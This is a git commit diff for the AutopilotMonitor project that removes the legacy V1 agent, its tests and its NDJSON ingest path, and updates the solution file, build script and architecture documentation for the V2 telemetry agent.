mirror of
https://github.com/okieselbach/AutopilotMonitor.git
synced 2026-10-24 20:53:06 +00:00
Merge pull request #81 from okieselbach/chore/remove-v1-agent
chore: remove legacy V1 agent and its backend ingest path
This commit is contained in:
@@ -11,10 +11,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Shared", "
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Agent", "Agent", "{096B6098-F141-7114-B090-72D1899D8853}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core", "src\Agent\AutopilotMonitor.Agent.Core\AutopilotMonitor.Agent.Core.csproj", "{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent", "src\Agent\AutopilotMonitor.Agent\AutopilotMonitor.Agent.csproj", "{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}"
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Backend", "Backend", "{FE360695-3F2B-1049-3887-35FBB5135923}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions", "src\Backend\AutopilotMonitor.Functions\AutopilotMonitor.Functions.csproj", "{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}"
|
||||
@@ -23,8 +19,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions.
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.SummaryDialog", "src\Agent\AutopilotMonitor.SummaryDialog\AutopilotMonitor.SummaryDialog.csproj", "{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core.Tests", "src\Agent\AutopilotMonitor.Agent.Core.Tests\AutopilotMonitor.Agent.Core.Tests.csproj", "{89BDAC07-A666-4708-A9D3-A956A89A4E4D}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.DecisionCore", "src\Shared\AutopilotMonitor.DecisionCore\AutopilotMonitor.DecisionCore.csproj", "{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.V2", "src\Agent\AutopilotMonitor.Agent.V2\AutopilotMonitor.Agent.V2.csproj", "{F9DCEFA0-127B-4E3F-BF52-4680DB4CA054}"
|
||||
@@ -59,30 +53,6 @@ Global
|
||||
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x64.Build.0 = Release|Any CPU
|
||||
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.Build.0 = Release|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.Build.0 = Release|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.Build.0 = Release|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.Build.0 = Release|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.Build.0 = Release|Any CPU
|
||||
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
@@ -119,18 +89,6 @@ Global
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x64.Build.0 = Release|Any CPU
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.Build.0 = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.Build.0 = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.Build.0 = Release|Any CPU
|
||||
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
@@ -211,13 +169,10 @@ Global
|
||||
{C8E42992-5E42-0C2B-DBFE-AA848D06431C} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
|
||||
{A54780AA-B9BD-4575-A935-2C3E0296B405} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C}
|
||||
{096B6098-F141-7114-B090-72D1899D8853} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{FE360695-3F2B-1049-3887-35FBB5135923} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
|
||||
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682} = {FE360695-3F2B-1049-3887-35FBB5135923}
|
||||
{E3E0A5D8-4899-4F41-9D5F-CB858EF9F091} = {FE360695-3F2B-1049-3887-35FBB5135923}
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C}
|
||||
{F9DCEFA0-127B-4E3F-BF52-4680DB4CA054} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{22CB0E75-793A-4FC9-ADE4-48580BCE6321} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
|
||||
@@ -144,7 +144,7 @@ Write-Host " Build Completed Successfully!" -ForegroundColor Green
|
||||
Write-Host "============================================" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
Write-Host "Output locations:" -ForegroundColor White
|
||||
Write-Host " Agent: src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48\" -ForegroundColor Gray
|
||||
Write-Host " Agent: src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48\" -ForegroundColor Gray
|
||||
Write-Host " Functions: src\Backend\AutopilotMonitor.Functions\bin\$Configuration\net8.0\" -ForegroundColor Gray
|
||||
|
||||
if ($IncludeWeb) {
|
||||
@@ -158,9 +158,9 @@ Write-Host " 2. Start Functions: cd src\Backend\AutopilotMonitor.Functions && f
|
||||
|
||||
if ($IncludeWeb) {
|
||||
Write-Host " 3. Start Web UI: cd src\Web\autopilot-monitor-web && npm run dev" -ForegroundColor Gray
|
||||
Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
|
||||
Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
|
||||
}
|
||||
else {
|
||||
Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
|
||||
Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
|
||||
}
|
||||
|
||||
|
||||
+49
-61
@@ -50,7 +50,7 @@
|
||||
|
||||
**Core Data Flow:**
|
||||
```
|
||||
Device (Agent) ──NDJSON+gzip──► Azure Functions ──► Azure Table Storage
|
||||
Device (Agent) ──JSON telemetry+gzip──► Azure Functions ──► Azure Table Storage
|
||||
│ │
|
||||
├── SignalR ─────────►│
|
||||
│ │
|
||||
@@ -97,9 +97,10 @@ AutopilotMonitor.sln
|
||||
├── src/
|
||||
│ ├── Shared/AutopilotMonitor.Shared/ (netstandard2.0)
|
||||
│ ├── Agent/
|
||||
│ │ ├── AutopilotMonitor.Agent/ (net48, Exe – entry point)
|
||||
│ │ ├── AutopilotMonitor.Agent.Core/ (net48, Lib – core logic)
|
||||
│ │ ├── AutopilotMonitor.Agent.Core.Tests/ (net48, xUnit – agent unit tests)
|
||||
│ │ ├── AutopilotMonitor.Agent.V2/ (net48, Exe – entry point; output named AutopilotMonitor.Agent.exe)
|
||||
│ │ ├── AutopilotMonitor.Agent.V2.Core/ (net48, Lib – core logic)
|
||||
│ │ ├── AutopilotMonitor.Agent.V2.Core.Tests/ (net48, xUnit – agent unit tests)
|
||||
│ │ ├── AutopilotMonitor.DecisionCore.Tests/ (net48, xUnit – decision engine tests)
|
||||
│ │ └── AutopilotMonitor.SummaryDialog/ (net48, WPF – enrollment summary UI)
|
||||
│ ├── Backend/
|
||||
│ │ ├── AutopilotMonitor.Functions/ (net8.0, Azure Functions v4)
|
||||
@@ -122,9 +123,10 @@ AutopilotMonitor.sln
|
||||
|
||||
**Project References:**
|
||||
```
|
||||
Shared ◄── Agent.Core ◄── Agent
|
||||
◄── Agent.Core.Tests
|
||||
◄── SummaryDialog
|
||||
Shared + DecisionCore ◄── Agent.V2.Core ◄── Agent.V2
|
||||
◄── Agent.V2.Core.Tests
|
||||
Shared + DecisionCore ◄── DecisionCore.Tests
|
||||
SummaryDialog (standalone; compiled alongside the agent build)
|
||||
Shared ◄── Functions ◄── Functions.Tests
|
||||
Web (independent – communicates via REST + SignalR)
|
||||
```
|
||||
@@ -135,7 +137,7 @@ Web (independent – communicates via REST + SignalR)
|
||||
|
||||
### Entry Point & Modes
|
||||
|
||||
**File:** `src/Agent/AutopilotMonitor.Agent/Program.cs`
|
||||
**File:** `src/Agent/AutopilotMonitor.Agent.V2/Program.cs`
|
||||
|
||||
Four execution modes:
|
||||
1. **Normal mode** (default) – Main enrollment monitoring loop
|
||||
@@ -214,29 +216,30 @@ Each implements `IGatherRuleCollector`:
|
||||
|
||||
Security enforced by `GatherRuleGuards` (allowed targets) and `DiagnosticsPathGuards` (path validation, respects `UnrestrictedMode`).
|
||||
|
||||
### Directory Layout (Agent.Core)
|
||||
### Directory Layout (Agent.V2.Core)
|
||||
|
||||
```
|
||||
Configuration/ Config loading, remote config service
|
||||
Diagnostics/ Diagnostics package creation + upload
|
||||
Logging/ AgentLogger (file + optional console)
|
||||
Monitoring/
|
||||
├── Analyzers/ Security checks (LocalAdminAnalyzer, SoftwareInventoryAnalyzer)
|
||||
├── Collectors/ Data collectors (ESP, Hello, Performance, GatherRules, Diagnostics, Desktop)
|
||||
│ └── GatherCollectors/ Per-type gather rule collectors
|
||||
├── Core/ Orchestration (MonitoringService, EventSpool, SessionPersistence, CleanupService)
|
||||
├── Interop/ P/Invoke declarations (process creation, registry change notifications)
|
||||
├── Network/ API client, distress/emergency reporters, geo-location, NTP, network metrics
|
||||
├── Replay/ Log replay for testing/simulation
|
||||
└── Tracking/ Enrollment state machine, IME parser, script/app tracking, state persistence
|
||||
Monitoring/ Collectors, trackers, analyzers, gather rule executors
|
||||
Orchestration/ Decision engine wiring (kernel)
|
||||
Persistence/ Session/state persistence
|
||||
Runtime/ Self-updater, lifecycle, watchdog
|
||||
Security/ Certificate helper, enrollment awaiter, hardware info
|
||||
SignalAdapters/ Raw observations → typed decision signals
|
||||
Telemetry/ Telemetry item batching + spool
|
||||
Termination/ Terminal-outcome classification
|
||||
Transport/ Backend API client (mTLS cert + hardware headers + bootstrap token)
|
||||
```
|
||||
(See `src/Agent/AutopilotMonitor.Agent.V2.Core/README.md` for the authoritative kernel/peripheral map.)
|
||||
|
||||
### Event Collection & Upload
|
||||
|
||||
1. Collector emits `EnrollmentEvent` → sequence number auto-assigned (thread-safe Interlocked)
|
||||
2. Event saved to spool as JSON file: `event_{timestamp}_{sequence}.json`
|
||||
3. FileSystemWatcher triggers debounce timer (configurable `UploadIntervalSeconds`, default 30s)
|
||||
4. Batch upload: NDJSON + gzip compression, max 100 events per batch
|
||||
4. Batch upload: JSON `TelemetryItem[]` (Events + Signals + DecisionTransitions) + gzip compression, max 100 events per batch
|
||||
5. Response handling: `DeviceKillSignal` → self-destruct; `DeviceBlocked` → stop uploads
|
||||
|
||||
### Idle Timeout & Lifetime
|
||||
@@ -289,7 +292,7 @@ Registered in this order:
|
||||
| Route | Method | Purpose |
|
||||
|-------|--------|---------|
|
||||
| `/agent/register-session` | POST | Register new enrollment session |
|
||||
| `/agent/ingest` | POST | Upload events (NDJSON+gzip) |
|
||||
| `/agent/telemetry` | POST | Upload telemetry batch (Events + Signals + DecisionTransitions, JSON+gzip) |
|
||||
| `/agent/config` | GET | Fetch agent configuration |
|
||||
| `/agent/upload-url` | POST | Get short-lived SAS URL for diagnostics |
|
||||
| `/agent/error` | POST | Report agent errors |
|
||||
@@ -303,7 +306,6 @@ Registered in this order:
|
||||
| `/bootstrap/sessions/{code}` | DELETE | Revoke bootstrap session |
|
||||
| `/bootstrap/validate/{code}` | GET | Validate bootstrap code (public) |
|
||||
| `/bootstrap/register-session` | POST | Register via bootstrap token |
|
||||
| `/bootstrap/ingest` | POST | Ingest via bootstrap token |
|
||||
| `/bootstrap/config` | POST | Config via bootstrap token |
|
||||
| `/bootstrap/error` | POST | Error report via bootstrap token |
|
||||
|
||||
@@ -397,7 +399,7 @@ Repository pattern via interfaces in `AutopilotMonitor.Shared/DataAccess/`:
|
||||
### Event Processing Pipeline
|
||||
|
||||
```
|
||||
Agent POST /api/agent/ingest (NDJSON+gzip)
|
||||
Agent POST /api/agent/telemetry (JSON TelemetryItem[] + gzip)
|
||||
│
|
||||
├─ SecurityValidator.ValidateRequestAsync()
|
||||
│ ├─ Tenant existence & suspension
|
||||
@@ -409,32 +411,29 @@ Agent POST /api/agent/ingest (NDJSON+gzip)
|
||||
│
|
||||
├─ BlockedDeviceService.IsBlockedAsync() → kill/block signal
|
||||
│
|
||||
├─ ParseNdjsonGzipRequest() → decompress + parse events
|
||||
├─ Body size cap → TelemetryPayloadParser (route per TelemetryItem.Kind)
|
||||
│ ├─ Signal → Signals table (+ optional index-reconcile queue)
|
||||
│ ├─ DecisionTransition → DecisionTransitions table (+ queue)
|
||||
│ └─ Event → EventIngestProcessor (below)
|
||||
│
|
||||
├─ StampServerFields() → ReceivedAt, TenantId, SessionId
|
||||
├─ SessionDeletionGuard → 410 Gone while a cascade owns the session
|
||||
│
|
||||
├─ EventTimestampValidator → clamp/validate timestamps
|
||||
│
|
||||
├─ TableStorageService.StoreEventsBatchAsync()
|
||||
│
|
||||
├─ ClassifyEvents()
|
||||
│ ├─ Extract geo-location
|
||||
│ ├─ Track app installs → AppInstallSummaries table
|
||||
│ └─ Detect enrollment completion/failure
|
||||
│
|
||||
├─ UpdateSessionStatusAsync() → merge session row
|
||||
│
|
||||
├─ RuleEngine.AnalyzeSessionAsync() (on enrollment end)
|
||||
│ └─ StoreRuleResultAsync() → RuleResults table
|
||||
│
|
||||
├─ VulnerabilityCorrelation (on software inventory events)
|
||||
│
|
||||
├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail)
|
||||
│
|
||||
└─ SignalR broadcasts:
|
||||
├─ "eventReceived" → tenant-{tenantId}
|
||||
├─ "sessionStatusChanged" → tenant-{tenantId}
|
||||
└─ "ruleResultReceived" → tenant-{tenantId}
|
||||
└─ EventIngestProcessor.ProcessEventsAsync()
|
||||
├─ StampServerFields() → ReceivedAt, TenantId, SessionId
|
||||
├─ EventTimestampValidator → clamp/validate timestamps
|
||||
├─ TableStorageService.StoreEventsBatchAsync()
|
||||
├─ ClassifyEvents()
|
||||
│ ├─ Extract geo-location
|
||||
│ ├─ Track app installs → AppInstallSummaries table
|
||||
│ └─ Detect enrollment completion/failure
|
||||
├─ UpdateSessionStatusAsync() → merge session row
|
||||
├─ Analyze-on-enrollment-end queue → RuleEngine → RuleResults table
|
||||
├─ Vulnerability-correlate queue (on software inventory events)
|
||||
├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail)
|
||||
└─ SignalR broadcasts:
|
||||
├─ "eventReceived" → tenant-{tenantId}
|
||||
├─ "sessionStatusChanged" → tenant-{tenantId}
|
||||
└─ "ruleResultReceived" → tenant-{tenantId}
|
||||
```
|
||||
|
||||
---
|
||||
@@ -1060,7 +1059,6 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider
|
||||
| `DistressValidationTests` | Distress report validation |
|
||||
| `DistressRateLimitServiceTests` | Distress rate limiting |
|
||||
| `EventTimestampValidationTests` | Timestamp clamping and validation |
|
||||
| `NdjsonParserTests` | NDJSON parsing |
|
||||
| `BuiltInRulesTests` | Built-in rule logic |
|
||||
| `EndpointPolicyCatalogCompletenessTests` | Ensures every HTTP route has a catalog entry |
|
||||
| `CrossTenantAccessTests` | Validates tenant-scoped endpoints reject cross-tenant access |
|
||||
@@ -1069,20 +1067,9 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider
|
||||
| `AuthFunctionTests` | Auth decision logic (roles, MCP access, bootstrap, auto-admin, preview gates) |
|
||||
| `GetHardwareRejectedFunctionTests` | Hardware rejection aggregation logic |
|
||||
|
||||
### Agent Tests (`src/Agent/AutopilotMonitor.Agent.Core.Tests/`)
|
||||
### Agent Tests (`src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/`, `src/Agent/AutopilotMonitor.DecisionCore.Tests/`)
|
||||
|
||||
**Target:** .NET Framework 4.8, xUnit
|
||||
|
||||
| Test File | Coverage |
|
||||
|-----------|---------|
|
||||
| `DesktopArrivalDetectorTests` | Desktop arrival detection |
|
||||
| `DiagnosticsPathGuardsTests` | Path guard validation |
|
||||
| `GatherRuleGuardsTests` | Gather rule path/target guards |
|
||||
| `AppPackageStateListTests` | App package state tracking |
|
||||
| `AppPackageStateTests` | Individual package state machine |
|
||||
| `CmTraceLogParserTests` | CMTrace log format parsing |
|
||||
| `EnrollmentStatePersistenceTests` | State file persistence |
|
||||
| `LogFilePositionTrackerTests` | Log file tail position bookmarking |
|
||||
**Target:** .NET Framework 4.8, xUnit — cover the V2 agent kernel (decision engine, signal adapters, monitoring, transport) and the shared DecisionCore.
|
||||
|
||||
---
|
||||
|
||||
@@ -1181,7 +1168,8 @@ dotnet build AutopilotMonitor.sln --nologo -v quiet
|
||||
dotnet test src/Backend/AutopilotMonitor.Functions.Tests/
|
||||
|
||||
# Agent tests
|
||||
dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/
|
||||
dotnet test src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/
|
||||
dotnet test src/Agent/AutopilotMonitor.DecisionCore.Tests/
|
||||
|
||||
# Web frontend
|
||||
cd src/Web/autopilot-monitor-web
|
||||
|
||||
@@ -1,28 +0,0 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net48</TargetFramework>
|
||||
<LangVersion>latest</LangVersion>
|
||||
<IsPackable>false</IsPackable>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Net.Http" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.11.1" />
|
||||
<PackageReference Include="Moq" Version="4.20.72" />
|
||||
<PackageReference Include="xunit" Version="2.9.2" />
|
||||
<PackageReference Include="xunit.runner.visualstudio" Version="2.8.2">
|
||||
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
|
||||
<PrivateAssets>all</PrivateAssets>
|
||||
</PackageReference>
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\AutopilotMonitor.Agent.Core\AutopilotMonitor.Agent.Core.csproj" />
|
||||
<ProjectReference Include="..\..\Shared\AutopilotMonitor.Shared\AutopilotMonitor.Shared.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
@@ -1,40 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
public class AadJoinInfoTests
|
||||
{
|
||||
[Theory]
|
||||
[InlineData("foouser@contoso.onmicrosoft.com", true)]
|
||||
[InlineData("FOOUSER@CONTOSO.onmicrosoft.com", true)]
|
||||
[InlineData("FooUser@tenant.com", true)]
|
||||
[InlineData("autopilot@contoso.onmicrosoft.com", true)]
|
||||
[InlineData("AutoPilot@tenant.com", true)]
|
||||
[InlineData("AUTOPILOT@xyz.com", true)]
|
||||
public void IsPlaceholderUserEmail_KnownPatterns_ReturnsTrue(string email, bool expected)
|
||||
{
|
||||
Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("alice@contoso.onmicrosoft.com")]
|
||||
[InlineData("bob.smith@company.com")]
|
||||
[InlineData("foo@bar.com")]
|
||||
[InlineData("autopilotadmin@company.com")]
|
||||
[InlineData("myfoouser@company.com")]
|
||||
public void IsPlaceholderUserEmail_RealEmails_ReturnsFalse(string email)
|
||||
{
|
||||
Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData(null)]
|
||||
[InlineData("")]
|
||||
[InlineData(" ")]
|
||||
public void IsPlaceholderUserEmail_NullOrEmpty_ReturnsFalse(string email)
|
||||
{
|
||||
Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,94 +0,0 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using Microsoft.Win32;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Integration-style tests for <see cref="AadJoinWatcher"/>.
|
||||
/// Uses a temporary HKCU sub-key because the production path is under HKLM\SYSTEM which
|
||||
/// requires admin privileges. The watcher implementation reads HKLM, so these tests
|
||||
/// instead assert the observable semantics of <see cref="AadJoinInfo.IsPlaceholderUserEmail"/>
|
||||
/// and end-to-end placeholder / real-user classification behaviour of the watcher's
|
||||
/// decision code path that is testable without HKLM writes.
|
||||
///
|
||||
/// The full RegNotifyChangeKeyValue flow is validated by the manual syntetic test in
|
||||
/// the verification section of the plan — it requires a test VM with elevated rights.
|
||||
/// </summary>
|
||||
public class AadJoinWatcherTests
|
||||
{
|
||||
[Fact]
|
||||
public void Constructor_NullLogger_Throws()
|
||||
{
|
||||
Assert.Throws<ArgumentNullException>(() => new AadJoinWatcher(null));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Start_MissingRootKey_ArmsRetryTimer_DoesNotThrow()
|
||||
{
|
||||
// Running tests under a normal user cannot write HKLM — but Start() must
|
||||
// gracefully fall back to the retry timer without throwing.
|
||||
var logger = TestLogger.Instance;
|
||||
using (var watcher = new AadJoinWatcher(logger))
|
||||
{
|
||||
watcher.Start();
|
||||
|
||||
// Give the retry timer one tick — we expect no crash, no events.
|
||||
Thread.Sleep(250);
|
||||
|
||||
bool placeholderFired = false;
|
||||
bool realUserFired = false;
|
||||
watcher.PlaceholderUserDetected += (s, e) => placeholderFired = true;
|
||||
watcher.AadUserJoined += (s, e) => realUserFired = true;
|
||||
|
||||
Thread.Sleep(250);
|
||||
|
||||
Assert.False(placeholderFired);
|
||||
Assert.False(realUserFired);
|
||||
}
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Stop_IsIdempotent_MultipleCallsDoNotThrow()
|
||||
{
|
||||
var logger = TestLogger.Instance;
|
||||
var watcher = new AadJoinWatcher(logger);
|
||||
watcher.Start();
|
||||
watcher.Stop();
|
||||
watcher.Stop(); // idempotent
|
||||
watcher.Dispose();
|
||||
watcher.Dispose(); // idempotent
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Dispose_AfterStart_StopsCleanly()
|
||||
{
|
||||
var logger = TestLogger.Instance;
|
||||
var watcher = new AadJoinWatcher(logger);
|
||||
watcher.Start();
|
||||
watcher.Dispose();
|
||||
|
||||
// After Dispose a further Start must throw
|
||||
Assert.Throws<ObjectDisposedException>(() => watcher.Start());
|
||||
}
|
||||
|
||||
// Delegate to AadJoinInfo-level tests for placeholder-pattern recognition — same
|
||||
// code path as the watcher uses internally.
|
||||
[Theory]
|
||||
[InlineData("foouser@tenant.onmicrosoft.com", true)]
|
||||
[InlineData("FOOUSER@foo.com", true)]
|
||||
[InlineData("autopilot@tenant.com", true)]
|
||||
[InlineData("AutoPilot@tenant.com", true)]
|
||||
[InlineData("alice@contoso.com", false)]
|
||||
[InlineData("myfoouser@contoso.com", false)]
|
||||
[InlineData("", false)]
|
||||
[InlineData(null, false)]
|
||||
